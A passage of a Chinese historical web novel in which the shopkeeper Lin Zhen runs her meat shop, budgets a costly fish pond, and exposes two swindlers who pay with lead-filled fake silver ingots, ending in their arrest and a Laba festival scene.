她决定了,她那魚塘里的魚, 便专专賣到这头来,最廉价的鲢鱼她也要賣三十个钱一斤!专坑你们这些有钱没处花的有钱人! 近来鱼塘上的账目支出看得林真心惊,现下連没影子的鱼都算上账了。 “算了,说多了还以为我故意邀功賣好呢!”王柘意犹未尽地住嘴了。 他指了指那一小瓮红方:“送你了,当是我补的冬節禮,请林吃家品鉴一二。” 嗯?林真眼睛一亮,今儿晚上就能上吃腐乳蘸碟的羊汤了! 她麻利地收了,客气几句:“这多不好意思呀!冬節的时候已收过一回禮了,这厢是沾了王吃家的光,教我也能尝个鲜。” “这有甚,你家新制的熏肉味儿极好,红润油亮,切出来装盘也好看。你再送我两条来,我拿去请人吃饭,用来下酒吃。” 红方不成,林真自然要另寻法子。 她前些日子熟药局、香料鋪子两头跑,拼拼凑凑买好香料,帶着贺景烟熏火燎的折腾好几日,终于弄出来了一种味儿好又省香料的熏肉来。 一经推出,果然受欢迎。 前些日子冬节赠礼,她回给王氏布行的礼里头,就搁了两条熏肉。 “嘿!能得王吃家惦记一二,我这熏肉算是没白折腾。”林真手腳麻利地用油纸给王柘包肉,一边又道,“我家里今日吃羊肉鍋子,瞧着这红方倒好,若是以干炒的茱萸粉、蒜末、香葱和少许胡椒混一处,打个蘸碟来吃羊肉,想必极美!” 王柘忍不住咽了咽口水:“这天气吃鍋子,林掌櫃果真会吃。哎呀,我也去,我今儿也要吃羊肉锅子!” “哎呦呦,林掌櫃,幸好您吩咐得早,那羊肉鋪子可挤得很,最后这上好的腿子肉和羊排,可算教我给抢着了!也算没辜负林掌櫃的托!” 恰在此时,帮林真买羊肉的闲汉帶着一身寒气进门来。 “甚?可是桥头下的戈家羊肉?他家的羊肉賣光了?” 林真还没说话,王柘先叫唤上了,语气里滿是遗憾。 “哟!王小東家也呢!”闲汉招呼道,而后回答,“可不是麽!冬日里吃羊肉的人本就多,这天儿还这样冷,去买羊肉的就更多了。戈家的羊肉好,门前一堆人,我为着买这羊肉,鞋子都差点儿被人踩掉了!您此时去,怕是买不着甚好肉了。” 林真唤贺景将羊肉收好,她自去拿钱给闲汉,对王柘一笑。 “对不住,今儿这羊肉还要拿去送人,不能与王吃家共享了。” 王柘蔫吧了,口中喃喃安慰自个儿:“算了算了,我明儿再吃也是一样的。” 林真看得好笑,可也没顾得上和王柘斗嘴。 冬日里不止羊肉好卖,各色肉类都好卖。 这时节肉放得住,且腌肉熏肉都成,买肉的人便多,且多是五斤十斤地买回去,她这鋪子上头生意也好,且要忙着招呼客人呢! …… 一通忙碌后,林真一扭头,瞧见王柘还在,她惊了。 “这是怎的了?没吃上羊肉便如此沮丧?” “啥呀!为一口吃的,我至于麽!”王柘跳腳。 林真用一种十分怀疑的目光盯着他瞧:你确实是啊。 王柘磨蹭好半晌,放才期期艾艾地问道:“我就是想问问你,我,我真能当个吃家呀?” 这时候的吃家,不仅要会吃,最终要的,是要会写。 骈四俪六,写诗作赋样样都得来,将吃写出花儿来不说,还得整理出书有人传唱,才能称呼一句:吃家。 林真眼睛一亮,重重点头:“能!怎不能?正统的吃家不好当,咱走些捷径,不,咱迂回着来总成罢!你且听我细细说来!” …… 送走晕乎乎的王柘,林真喜滋滋,可瞧见刚进门的人时,脸上的笑落下来。 她嘴角微勾,招呼道:“许经纪今儿得闲?怎有空往我这头来?” 许经纪眼睛滴溜溜转,瞧见林真收在一旁的小瓷瓮,语气夸张道:“哎呦呦,林娘子这真是甚好东西都有,丰乐楼新出的红方您也得了!唉,还是林娘子面子大,能得林大掌櫃所赠的红方,咱们呀,是花钱都买不着!” “许经纪近来这消息确实是不大灵通了。”林真挑着眉打量他。 “这红方是王氏布行的王小东家所赠。我与林大掌柜可没甚过硬的交情,不过昔年好运,制出的腐竹得了林掌柜几分青眼,他人又和气,瞧着我一年轻娘子从一个浮鋪摊子到正经的门脸铺子,动了恻隐之心,这才送我一场好热闹。可人貴有自知之明,咱这小打小闹的,如何能与林大掌柜相提并论?既已得了好,也该晓得分寸,不要想着借机攀扯人,那才能存下几分福气来,您说呢?” 许经纪面色未变,笑着道:“林娘子说得对,人得惜福,更得积福,尊老敬长便是福。某今日来,便是想买些好葛粉来孝敬岳父,不知林娘子这头可有?” “我这铺子小,这样的尖儿貨哪里是时时都有的呢?”林真也笑,“许经纪不若去福源斋,那里定是有的。” 林家那头在晚秋时,开始在自家铺子上售卖葛粉。 净如霜雪的葛粉自然是奉给上头;次一些的,林家自家拿来走礼用;再次一些的,便放在福源斋上售卖。 许是林家有意为之,林真先前留下来的葛粉,其洁净度,介乎在次等与更次等之间。 瞧着倒真像她说的,是自家废了力气清洗五六次得来的,与林家那头的没甚干系。 可即便如此,林真还是改了售卖计划,从前是月月有,现今是时有时无。 “真没了?林娘子莫不是,不想与许某人做生意?”许经纪皱着眉。 前恭后倨,实在是小人行径! 林真也冷下脸来:“许经纪这话说得好没道理!您倒是去外头打听打听,自在此处经营,我家可有甚欺客的恶行传出来的?我是如何行事的,不说这头的掌柜们,铺子上的熟客们都瞧在眼里的!打听消息,可是您吃饭的老本行,不会浑忘了罢?” “某不过白问一句,林娘子倒是有这许多话来……” “哎呦!今年这風吹得,活像是下刀子,割得人生疼!”一身红斗篷的楊旭恰巧进来。 他一进门儿就嚷嚷道:“林掌柜,先前找您定下的那五十条熏肉可成了?我娘使唤我来取呢!对了,今日威远武馆的肉也一并装上,我顺道送过去得了,这外头的風可了不得!” 走近几步又朝林真炫耀他戴的帽子:“嘿!瞧瞧,这耳不闻帽子我也得了,黄绣娘可得好生置了席来谢你,她那头,单子可是排到年后去了!” “可不敢这么说,这耳不闻帽子是黄绣娘改的,是她手艺好,才能改得好看又实用,卖得好是人自家的本事儿。”林真回道。 俩人倒是一副颇为熟稔的模样。 楊旭自打茶掌柜那事后,是日日往林真这铺子上跑,还是特意赶在要关门的时候来。 一来,便指着铺子里卖剩下的东西,说都包了,送去城西永安坊的楊宅。 連着来了两三日,便是傻子也晓得有问题。 林真三言两语便问出来了。 楊旭有个明事理又大气的娘,对他砸了茶掌柜的铺子倒是没罚,可对茶掌柜口中传出的攀咬之语倒是算在了杨旭身上。 “那掌柜奸滑,你砸了他的铺子出气也算事出有因;可办事不慎,反倒牵连一个小娘子,女子立世不易,自去想法子赔罪!” 后头的种种,便是杨旭想出来的赔罪法子。 问明白后,林真对这位申娘子倒是好生钦佩,且杨旭现怎么也算是店内的贵客了,他做主买下的那些肉,确实是帮了忙。 林真对花钱大方不多话的贵客自是要包容,如此,便大方原谅了他。 有此缘由,杨旭本性不坏,反而颇为豪爽爱结交,他进出铺子的时间多了,倒是与铺子里的众人熟悉起来,前些日子还缠着沈山平要进山去打猎。 铺子里忙着给杨旭将熏肉鲜肉装车,又时不时有客人上门,好一片忙碌景象。 被晾在一旁的许经纪,自杨旭进门后便不敢作声,瞧着众人忙碌,忙贴着墙边溜走了。 哼! 林真瞧见了,冷哼一声并不理睬。真当她家还是从前那个毫无根基,被一小小巡栏随意拿捏的屠户家? 白日忙碌许久,关了铺子,将自个儿严严实实裹住,三人这才结伴家去。 林真一头钻进车厢里,这是她心心念念带棚子的辇车,虽说用来拉貨不如板车,可冬日里用板车拉货着实受罪。 倒是宁愿麻烦些,每日赶两辆车来,卸了货物,留下一辆能回家就成。 “嘿!你还跟我瞎客气,你去里头坐着,不必在这车架上受冷风。”沈山平道。 “不成,早起便有霜,地上湿滑,多个人瞧着也是好的。”贺景并不依。 真姐儿受不住冷,坐里头便罢了。他也进去,教沈山平一人在外头受冻,像甚么样子。 再说了,家里早早便给置办了行头。 头上有暖帽、身上有厚袄、手上有手衣、脚下还有兔毛靴子,这已是他过得最体面的一个冬日,这点子寒风算甚? 晚间,林家一家子并沈山平父子聚在一处吃羊肉锅子。 瞧着林真挟红方那劲头,沈山平低头,不去看。 他今日可听见了,这一小瓮,足足六百个钱! 屋外寒风呼啸,屋内羊汤正醇,酒香正浓,众人俱是言笑晏晏,当真是好时光。 “真真是神仙日子啊!” 卢老呼出一口热气,只觉着唇齿间满是羊肉香! 林真笑着道:“卢老多吃些,明儿又得忙;吴麽麽也下箸,千万别客气;沈伯您与我爹多喝两杯;苗娘子……大家都动筷子嗷,咱可不兴瞎客气!” 林真招呼一通,自个儿挟了一片羊肉,裹了满满的蘸料往口中送—— 作者有话说:决定了,今晚就去吃羊肉汤!《 》 60-70 第61章 “盧老头, 这样不成!” 林真将魚塘的賬本子合上,面无表情表情盯着对面的小老头瞧。 她家的魚塘是十月初九开始动工的,及至冬节, 最为繁重的清淤、回填、夯土和黏土防渗的工作已经完成。 一个四亩多,浅边池深的堰塘已初见雏形。 一个多月的时间,能挖出这口塘子来,着实是族人和林有文鼎力相助。 这口塘子呈阶梯型, 边缘最浅的浅水区都有二尺深(0.6m), 中间的深水区, 足有八尺多(2.5m),在这只有铁楸箩筐,全靠人力肩挑手扛的时代。 如此速度,谁来都得赞一句:何其神速。 堰塘初成, 一则,是村人实诚;二则, 便是流水似的銀錢花出去。 林真盘了賬, 为了这口堰塘, 她已然投了两百来貫錢! 要不是手上有先前林大掌柜送来的西市鋪子的赁錢托底,再有自家鋪子冬日里生意好能賺錢, 熏肉又小賺了一笔。 她都要被掏空了! 可这样下去不行, 仔細一盘账, 这堰塘全挖好, 不算买魚苗的钱,得投进去三百貫左右! 林真又噼里啪啦打算盘, 算回本周期。 这一算,她整个人都不好了。 最最最理想的情况下,她这四亩堰塘得要足足四年才能回本。 不行! 回本周期这样长的生意, 不能做! 她盯着对面的小老头看:“一亩塘,十亩粮,您这话里头的水份,可真真是海了去!盧老头,这样不成,即便你说会养鲈魚也不成,我虽是外行,可也曉得塘子里不能全养只养一种鱼,这样养不活!” 小老头不说话了。 昨儿还唤他一声:盧老,招呼他吃肉喝酒,今儿就叫‘盧老头’了。 林真想了一想,道:“养些鳝鱼和鱉罢!这两样不易得,价又格外高。” 夏日黄鳝赛人参,而鱉壮阳气是大补之物的说法更是深入人心,若是有这两样,她便不用发愁了。 卢老头眼睛一亮,头也不垂着了,人也不缩着了。 “成!鳝鱼和鳖都只在浅水成活,与池子里倒是不大想干。现今整好趁着池子里还没引水,先用稻草给它们做窝,也能与鱼隔开来!鳝鱼喜钻洞,在淤泥地里扔些竹筒就成;至于鳖,这个老头子倒是没养过,可咱这口堰塘选得好,从山里引了好水来,老头子将它们单独放一處,想来是能成的。” 他高兴极了,手上比划着,声儿多欢喜:“池子里鲢鱼和鲤鱼必是要养的,这两样能清塘哩!再少养些鲫瓜子儿,鲈鱼吃瓜子儿苗也不怕,它本就要食荤,平日里多扔些米虾子和碎螺肉便成,鲈鱼量少些,鲫瓜子儿多,能成!” 好啊好啊,这小老头这才说实话呢! 他吹上天的鲈鱼根本就不能多养!先前支支吾吾的,可见心里有鬼。 “嘿嘿!如此,鳝鱼和鳖不说了,便是县里最大的酒楼,那甚豐乐楼,都抢着要!鲈鱼也赚钱,鲫瓜子儿和鲤鱼也不錯,鲢鱼价低些,可它长得快呀!” 小老头将头昂得高高的,又开始吹牛。 “东家!咱一定能赚钱的!山一样的钱!” 一说起自个儿的养鱼经来,这老头就是这样神气,显得格外专业能唬人。 林真先前可不就是被他这样子唬住了。 罢了罢了,那两百来贯钱,她捏在手里本就不大舒坦。 现在花出去,也算是积攒家业了,她就大女子大气度,不与这小老头计较了。 “卢老,您这以后,可能说些准话?家里人是甚性子您想必摸清楚了,咱以后可得以诚相待。” 不过,该提醒还是得提醒。 “嘿嘿,先前是小老儿多思多虑了,还请东家见谅,往后可再不会了。”卢老搓着手,承认先前犯下的小錯,又咧着嘴笑。 “现就得跟您透个底儿,既是要养鳖,这水源必得要好。咱先前说的,用竹筒引水的法子怕是不成,还是得挖渠,用石板砌筑。” 林真咬牙,似笑非笑:“还有甚?” 卢老赶忙摆手:“没了,没了,再没了!” 他又小声儿嘀咕道:“那啥,咱村儿里极好,清淤的活计结束了,您那族叔便帮着提了降低工钱的事儿,村人也都同意了。您这头省下来,不就能多买些料子来了?” 林真盯着他瞧:“您老耳朵倒是尖。” 卢老头不接这话,只一个劲儿笑,他曉得,这东家能耐,人也大气见识多,不会因小失大省下这笔銀钱的。 “晓得了!材料管够,可这引水渠和进出的水口,您老可得盯紧了。” “那是自然,小老儿定然不错眼地盯着!我后半辈子能不能好,可全看这口堰塘了!您放心,城南的墙根儿下,小老儿是再不想回去的!” 卢老头将胸脯拍得震天响。 用人不疑,疑人不用。 林真念叨着,也只能再信一次这小老头。 况且她也确实是没工夫再管这头。 冬日鋪子里本就忙碌,她家的熏肉又着实受欢迎,预备着年节下走礼的人家,一个接一个,提前便来早早定下。 林真虽一个劲儿保证货源充足,不会涨价,可人还是要先来定下,从钱袋子里掏定钱,爽快得很。 她能怎么办呢? 当然是加班加点忙赚钱! …… 这日,铺子里来了两位眼生的客人。 暖帽、直?和长筒靴子通通都有,深色的直?瞧不出用了甚料子,但领口、袖口和下摆處,随着走动,似是不经意地露出一圈儿豐盈、油亮的毛边来。 端得是一派富贵相。 两人在铺子随意逛了一圈儿,林真招呼道:“客人是头次来罢?您二位想买些甚?” 两人一高一矮,高个儿的那个先搭话:“掌柜的,你这铺子瞧着小,可这名声却是大。咱兄弟俩是永州的行商,本是为了丰乐楼的葛粉和红方而来的,可差些运道,这两样是一样没买着。” 他叹了叹气,很是遗憾,又接着道:“可咱也不能白跑一趟,在城内打听得掌柜的此处倒是有好货,熏肉、腐竹是一样,再一样,某还是不死心得问一句,您手头可还有那葛粉?您放心,若是肯割爱,这价钱都好说。” 此时那矮个的也帮腔:“若是有,也甭藏着掖着,你卖谁不是卖?定然不会少了你的钱!” 这话挺不客气,可开门做生意,难免会遇见这样的客人。 林真倒是不生气,很和气道:“客人说的腐竹和熏肉我这头自然是有,可那葛粉是真没有。小店先前的那一点儿,也是刚开铺子,为着打出些名声来,这才费力取了一些来。取粉难得,若要想得那白净些的葛粉,至少得洗粉六七次,着实费功夫,更别说这冬日里,日头不好,取粉便更难了。若想要买葛粉,还真只得去守着福源斋和丰乐楼二处。” “唉,如此说来,咱兄弟二人是与这葛粉无缘了。”高个的叹气。 那矮个的倒是面露不满,似乎想说些甚,被那高个儿的拦住了。 “那掌柜的此处,腐竹和熏肉可有多的?若是有,教咱兄弟倆多买上一些,也不枉我兄弟二人特意绕路来此。”高个儿拱手,很是客气。 “店内倒是存了些,不知客人要多少?” “自然是多多益善,腐竹五十斤,熏肉百来条,咱兄弟俩都吃得下,端看掌柜的这头能有多少。”高个儿商人又道。 “我也晓得掌柜这处的熏肉极好,可我兄弟二人不能在此久留,三日后,便要随着威远鏢局出发回永州,还请掌柜帮个忙,略微挪一挪,教我兄弟二人能带些好货回去,赶着年节下售出,教手底下的兄弟们也过个丰年。” 他很是客气,又从怀中摸出一张紙钞来:“定钱我可先压一半,还请掌柜的辛苦些,多备些好货与我。” 林真内心暗喜:巧了不是?她手头正紧,这就来大单了。 这一单若成,能入账四十来贯! 她笑眯眯接过对方递来的紙钞,口中道:“好说,好说,咱先拟下契来,您这……” “嗯?您这不是朝廷印的交子啊!” “是,这是我永州商会的钱引子。”商人大方承认,随即細细解释道。 “您见谅,我兄弟二人这趟是返程,咱从京都那头来,所换的交子早已唤作货物,这趟本就是临时起意,身上便只有这永州商会的钱引子。您放心,我自不会用这钱引子与您交易,我是怕掌柜不愿意与我备货,这才先压在您这儿,待交货时,自会换了銀钱来与您交易。” “你放心,到时用银锭与你买货!”矮个儿的商人粗声粗气道,“我兄弟二人自不会少了你的,你只管放心备货!到时候,一手交钱一手交货,谁也哄不了谁,只要不误了我们的事儿就成。” 林真想了想,点头道:“成,咱先拟了契,将这些都分说明白,这可成?” “这是自然。”那商人大方应道。 “怎的了?可是有甚不妥。” 等两人都走远了,贺景这才凑过来。 林真仔细打量着手中那张印有‘永州钱引’字样的纸钞,其繁复程度不亚于她手中的交子,且这张钱引子当中有一行手写的字,只有一半儿。 这是此时惯用的防伪标识,另一半儿留在当地,两方对上了,才能取出其中的银钱来用。 瞧着倒不像是假的。 “是有些忧心,我往威远武馆走一趟,寻楊旭打听打听。” 林真揣上那张钱引子去寻楊旭。 “是真的,这是他们那头的商会牵头搞的,当地十六个豪商互保,用时从当地的钱庄兑换。在那头,除了银钱就数这钱引子好使,连交子都不如这玩意儿管用。”杨旭将钱引子还给林真。 “三日后也确实有一支行商托了鏢局的兄弟们送一程,他们从京都来,带了好些货。人便格外慎重些,便要寻当地的镖局拜当地的码头,紧张兮兮的,我可没往那头凑,还真不晓得你说的那二人是不是商队里的。” “怎的了?心里没底儿?”杨旭甩甩头道,“那便不做这桩生意就是了。” 可真是,不当家不知道柴米油盐贵。 “先备货罢,腐竹和熏肉都能放,铺子里也卖得好,多备些也好。” 林真想了想,又摸出两角碎银来。 “你帮我个忙罢……” 如此交代一番,林真才回去,就当她小人之心罢。 四十多贯的生意,于她而言,确实是一笔大生意,小心谨慎些,总没错。 忙忙叨叨,添添挪挪。 总算是赶在交货的日子上,将腐竹和熏肉备齐全了。 没多久,那俩行商便如约而至。 第62章 倆人还是老样子, 不过这回身后跟了俩挑货的脚夫。 林真的目光在倆人身后的脚夫上转了一圈儿,笑道。 “二位客人很是守时,怎没帶着夥计?” 高个儿面色不变:“京都里帶来的货物要紧, 片刻离不得人,五十斤腐竹和百来条熏肉,雇倆脚夫挑就成……” “别啰嗦了,咱兄弟倆赶时间, 你这头的货物可备好了?”矮个儿打斷, 眉头微皺, 瞧着倒確实是一副焦急模样。 高个儿冲林真一笑,有些歉意:“林掌櫃别介意,咱明日一早便得动身,今儿便要张罗着装车整队, 我这兄弟难免急躁些,您备下的货在何處?” 林真一指:“二位请看, 五十斤腐竹和一百五十条熏肉皆在此處。您先数数熏肉, 我再与您将腐竹复秤。” 倆人圍着整齐码放在角落的腐竹和熏肉转悠了一圈儿, 翻看一番,对视一眼。 高个儿的那个便笑:“瞧着都是好货, 也无需复稱了, 咱兄弟此番行程確实匆忙, 林掌櫃的好名声咱都是打听过的, 便不必复秤了,交货罢。” 他一面说着, 一面从錢袋子里取出三个銀錠来。 “此是某交代夥计兑来的新銀,便用銀錢来结账,林掌櫃瞧瞧。” 銀錠闪光, 林真拿起一錠,随手一掂。 “哼!特意换来的新银,上好的細渗银!”矮个儿不耐烦道,“只比真花银稍次一等,你快将我那錢引子还来,找了零,交了货,莫要多做耽搁。” “您见谅,这一排三个银錠,共计四十五两银。您这腐竹和熏肉加起来,抹去零头,收您三十七贯钱,我这鋪子是小本生意,尋常难见整块儿的银锭,还需借了夹剪和银戥子来,絞斷了,細细稱量好了才成呢。”林真不错眼地盯着倆人。 高个儿一笑,面上瞧不出甚:“也是怪我,少交代了一句,手下的伙计便全换了二十五两的中锭与十两锭来。可这借夹剪和银戥子实在误事儿,林掌柜等等,且教我找找,某身上应当还是有些散碎银子的,只是黑不溜秋的不好看,这才没拿出来。” 他一边说着,一边在身上翻找,似乎真要尋二两碎银来。 “是么,我倒是不晓得何种新银一擦便发灰,更不晓得你这银子竟是絞不得的!” 林真大声喝骂道。 矮个儿面上已见端倪,高儿此时却还镇定,张嘴辩驳道:“如何绞不得!女子果真小性儿,竟这样空口白牙污蔑人!罢了罢了,这桩生意不做也罢!” 他卷了东西抬脚便想走。 可林真此时如何会作罢,她高声喊道:“沈山平,看住这俩贼人!贺景,去寻步快来!” 俩人齐齐变脸,此时也顾不得许多,转身便想跑。 可八尺高的沈山平提了最长的分骨刀来,立在门口,将门堵了个严严实实不说,那满身的煞气,一时间,居然教倆人骇在原地。 贺景早早便跑去喊人了,他一边寻步快,还一边儿喊道。 “林家鋪子有骗子,骗钱了!快去抓骗子!” 林真这时冲那俩脚夫道:“他俩是骗子,诓了你俩做局,若是不想受牵连,快快将人一同擒住!快!用扁担堵住他俩的去路!” 那俩脚夫一脸懵,此时听得有人下令,居然还真举起扁担来,帮着拦住倆人。 那高儿见此,骂道:“你俩莫要被这小娘皮哄骗了,她是想黑吃黑!赶紧助我脱困,那银子便都是你们的!” 脚夫眼睛一亮,举着扁担的手有些迟疑。 林真大声喝道:“那是赃物!谁敢动!步快就在此处巡逻,等他们来了,自有分辨!” 几人各怀心思,逃跑的、堵人的、游移不定的,再有贺景一嗓子招呼过来瞧热闹的…… 一时间,长兴坊这头甚是喧嚣,大冷天儿的,本是清冷人稀的街道上,生生闹腾出一股子热火朝天的劲儿来。 “躲开!躲开!官差办案,闲人闪避!” 不多一会儿,圆顶幞头、皂衣官靴,腰别水火棍的步快分开人群,将林家猪肉干杂铺团团圍住。 “我听说,有人伪造官银?”楊典史落在最后。 他的手按在佩刀上,踏进门来,眼睛只在那俩行商身上一扫,便转过头来,盯着林真,目光沉沉。 这杨旭也太够意思了! 林真丝毫不惧,反而有些暗喜。先前她拿了碎银出来,只是托了楊旭,请巡逻的步快今日多往长兴坊走走,可没想到,人直接将公安局局长摇来了! 她几步上前,将一直捏在手里的那个十两锭呈给楊典史。 “大人请看,这俩歹人,口口声声说这是今年的新银,这银锭底下确实有戳子、铭文,可您瞧。草民不过用簪子一刮,这银锭便留下一条深灰印记来!” 楊典史看一眼,皺眉道:“若是狗蚤斑,便只能算这二人黑心,也算不得造假。” 林真还挺庆幸,先前第一回 瞧见交子和银锭时,为着不冷场,也怕日后收到‘**’,倒是与林掌柜细细请教了一番。 不然,此刻连杨典史口中的‘狗蚤斑’是甚都不晓得,那才真是辨无可辨。 高个儿的眼珠子一转,换了一副泫然欲泣的可怜样,哭诉道:“大人明鉴,这银锭确实是小人所有,可想来是手底下的伙计见识少,被人用这次等银哄骗了,偏偏这小娘子好生不饶人……” “大人,您听见了罢!他承认这银锭出自他手。”林真毫不客气地打断他,然后从容道。 “足色成锭者,面有金花,次者绿花,又次者黑花,故谓之花银。若面有黑斑而不光泽者,必有黑铅在内,有八成色,谓之狗蚤斑。”[1] 随着林真疏疏而谈,高个儿面色一点点发白。 “开铺子做生意,若是连辨银的法子都不晓得,可不是要被你们这起子黑心骗子害得倾家荡产?”林真继续道,“大人,若是注铅过多,轻擦便黑,一砍即碎,狗蚤斑还有八成色呢!他们拿出来的这些,怕是还不如狗蚤斑。” 她叉手一礼,郑重道:“先前这俩人一听草民要绞银,立时便慌了神色,里头定然全是铅!此等银锭便不能称作银,更不能用于买卖交易!还请大人为我等小民做主!” 杨典史这才拿起银锭细看,自个儿用指甲一刮,果然见其立即发黑,余下两个银锭皆如此,他想了想,抽出佩刀来。 “铮!” 利刃与银锭相触,金属碰撞的声儿戛然而止,柜台上的十两银锭居然一下子便被砍断,且还不是两半,反而崩出三截儿来。 “果然不是银锭!寻常的银锭哪里如此易断,便是用夹剪,力气小些的妇人都绞不断的。”眼尖的围观群众当即嚷道。 “还请大人为我等做主啊!我等安安分分做生意,勉强挣些钱来糊口,怎经得住这些歹人如此行骗!” 围观的掌柜们,也不晓得是谁,带头喊了这几句。 “请大人做主!” …… 瞬间,长兴坊内便是一片苦主的声儿。 恰在此时,那高个儿突然暴起,一拳打在那矮个儿面上。 “教你贪心不足!若还是像先前那样真假掺半,如何会被识破?偏你小瞧人家,说人是乍富的乡野妇人,定是见识浅薄,贪人的好货不算,还要贪那几贯钱!” “你不也同意了!我是贪心,你又好到哪儿去!” 矮个儿也不甘示弱,两人立时扭打在一处。 “作甚!都住手!”步快反应过来,忙上前分开二人,一人压在一处,不教他们再挨着。 林真眼睛一亮:“大人,您可听见了!人赃并获,还有口供,足以证明这俩人是早有准备,且还是多次行骗!被他俩骗了的苦主不知道有多少!这可是……” 这可是桩大案! “可真是害人不浅,还请大人为我等作主。” 好险,差点儿说错话。 官银、造假、大案…… 杨典史眼睛越来越亮,他大手一挥:“带走!” 他转头看向瑟缩在一旁的俩脚夫,皱眉:“至于你们……” “大人,他俩也是个被骗的倒霉蛋儿,不认得这俩骗子。若是需要人证,草民愿意陪大人走一遭。”林真道。 杨典史目光一转,深深瞧了林真一眼。 他又看了看俩已经被吓懵的脚夫,眼神落在倆人脚上的草窝子上,皱了皱眉,终究道:“虎子!你留下,好生盘问他俩,问明白了,再跑一趟,问问左邻右舍,瞧瞧这俩人老不老实!” “是,大人!” “至于林掌柜,是要与某走一趟,得去签个证词。”杨典史语气称得上温和,“放心,耽搁不了多长时间。” 铺子里一下全空了。 步快走了,骗子走了,连带着那几锭注铅银也一并被带走了。 哦,还有林掌柜也走了。 贺景面露忧色,先前出入衙门是为了过户立契,这回…… “你将铺子守好,我去去就回,外头瞧热闹的人多,在县尊大人有定论之前,可别多说。” 林真叮嘱几句,很是坦然地跟着一群皂衣步快走了。 杨典史瞧在眼里,心里对林真倒是多了几分赏识:胆气、见识都有,还不谄媚,瞧着倒不是故意接近旭小子的。 他今日来,确实是因为杨旭,可他来的原因,可能与林真所想,大有不同。 此时去了偏见,瞧着林真行事是格外欣赏,见其面对县丞大人也是落落大方的模样,心里也是暗赞。 “倒是不寻常,旭小子这回,难得结交了一位智勇双全的人物。” “可真是吓死我了!”—— 作者有话说:1 出自明代《新增格古要论》 本文仿宋,但有时候会引用一些后世言论[求你了] 第63章 “可真是吓死我了!”林真抚着胸口直喘气儿。 亲娘咧, 这里的官员怎么跟电视剧里演的恁不一样? 林真此时回想起縣衙內的情形,还是一阵后怕。 縣丞盘问得好生仔細,且同样的问题, 他会在不同时候换不同的说法问起,稍有不对,便会追着林真仔細盘问。 幸好她不是嫌犯,也还算有功, 又有楊典史说好话。 问话的地点在縣丞的值房, 还得了个木墩子坐, 縣丞大人虽严肃,可算不得疾言厉色。 如此,应对还算是妥当。 “对了,这事儿咱便不要谈论了, 倘若有人问起,也要说不知道、不曉得、不清楚, 将一问三不知贯彻到底。”林真语气严肃, 很是郑重。 “一切, 自有县尊大人做主。” 她回想起离开县衙时,那位已经上了年纪的老县丞最后的话。 “女娃子有几分聪明, 既曉得提醒家人莫要多言, 往后, 也要記着谨言慎行。‘祸从口出’这四字, 你要牢記。” 这便是有意提点了。 瞧着鬓角发白的县丞,林真叉手深深一礼:“多谢大人提点, 草民必当谨记。” 思及此,林真再次叮嘱道。 “咱确实不曉得那二人从何而来,造假的银錠又是哪里来的。往后莫要提这事儿了, 慈溪县日日都有新鲜事儿,咱这点儿小事,自家缄口不言,外人没了谈兴,过几日便无人问起了,咱往后做生意机警着些便是。” 官银造假,一听,就晓得里头的水,定然又深又浑。 她瞧着那俩人也不是甚背景深厚的模样,此番行騙,从头到尾只有他俩,顶多算二人转,连团伙作案都算不上。 那他们手里,成色那样好的假银錠,是从何處得来的? 金银铜铁錫,银錠造假,数铜和錫用得最多,其中锡最廉价,也是从前银锭造假最常用的。 前朝曾出现过官方默許的‘夹锡錢’,那是最混乱的时代,錢不是钱,官不是官,人们似乎一下回到了以物易物的时候。 天下换了姓氏后,夹锡钱便成了过往云烟。 且注锡的银锭,面无光泽还会发白,别说有经验的老掌柜了,被坑怕的百姓多瞧上几眼,也能辨出。 此时最常见的造假银,多用铜。 混了铜的银锭,需得火烧才能发紅,或者绞断,从断面来判断真假。 可一来铜价贵,二来,混铜造假银见多了,商人们自有分辨的法子,寻常也不会轻易教人騙了去。 可那俩人手中的银锭,好生精巧,是灌的铅,最外头的那一层,是实打实的足色银。 且因着铅和银密度相近,色又正,从外观和重量上几乎瞧不出破绽。 要不是林真早有怀疑,狠下心来,用簪子使劲儿刮开,还真无从分辨。 这种成色的造假银,落在这俩人手里,还拿来骗她的腐竹和熏肉? 不是林真妄自菲薄,实在是过于大材小用了些。 稍稍一想,都不用細思,就晓得这里头的水有多深。 这等凶险之事,不是她这样的升斗小民能掺和的,若是不慎被卷进去,怕是要沦为炮灰。 林真决定近来都低调些,有甚风头都教别人出,她躲远些才好。 再三叮嘱一番后,众人才各自散去。 “我还想问一句,成不?” 贺景将汤婆子塞在林真的被窝里,悄声问道。 “成,你问。过了今晚,咱再不说了,关起门来都不说。”林真将被子全卷在身上,像一只大春卷儿。 “真姐儿是如何瞧出那倆人的破绽来的?他们瞧着可唬人得很,种种理由也对得上。紅方、葛粉都晓得,且县里还真有一支自京都来,往永州去的商队。准备如此充分,我是一点儿没瞧出来。” 这也是贺景想问个明白的原因,他得再警醒些,再有用些,总不能全指望着真姐儿一人。 “确实,那俩骗子想来是老手了,一点儿挑不出错来,连脚上的靴子都装得像。”林真将铜制的汤婆子搂在怀里,“我只觉着他俩那件大袖直?有些碍事儿。” 商人附庸风雅喜穿宽袍不假,可那也得分场合。 按他俩的说法,先是去丰乐楼买紅方,那穿这么一身充充场面倒也说得过去。 可来取货那日,口口声声说急着赶路,可那身装束还是一样,都不换件利索的窄口厚袄和绑腿来。 她那日去找楊旭时,顶着商队的白眼,仔仔细细打量了一回他们的穿着,便是领头的大掌柜,打扮得也很是利索,可没穿着宽袍大袖的直?来装相。 “总之,不贪便宜、不奢望天上掉馅饼、不想着不劳而获,这些个小计俩便骗不着咱!” 林真有些小得意,感谢上辈子祖国母亲的反诈宣传。 “真姐儿厉害,眼明心亮,观察入微。”贺景赞道。 “噫,又是跟谁学来的酸话?” “是心有所感,真心之语。” 林真艰难翻身,背对着贺景,不理人了。 == 慈溪县确实不缺热鬧,家里人和沈家得了林真的再三叮嘱,对于此事缄口不言。 想瞧热鬧的,打听不出甚来,自觉无趣。 几日过去,便无人再谈论那俩骗子,林真也如愿过上了低调的赚钱生活。 转眼便是腊八。 腊八虽不如冬至隆重,可大小是个节。 此时的过节氛围还是很隆重的,西山的僧侣会在今日设五味粥赠与香客;城內开吃食店的店家也多会在今日熬上一锅腊八粥来,赠与左邻右舍,也请店內的客人吃一碗。 林真自然也熬了一锅腊八粥,黃米、白米、江米、小米、菱角米、栗子、紅豆和去核的干枣,又加了糖,黏糊糊的熬了一锅。 带着甜味儿的水汽,慢悠悠荡来荡去,教铺子内也染上了淡淡的甜来。 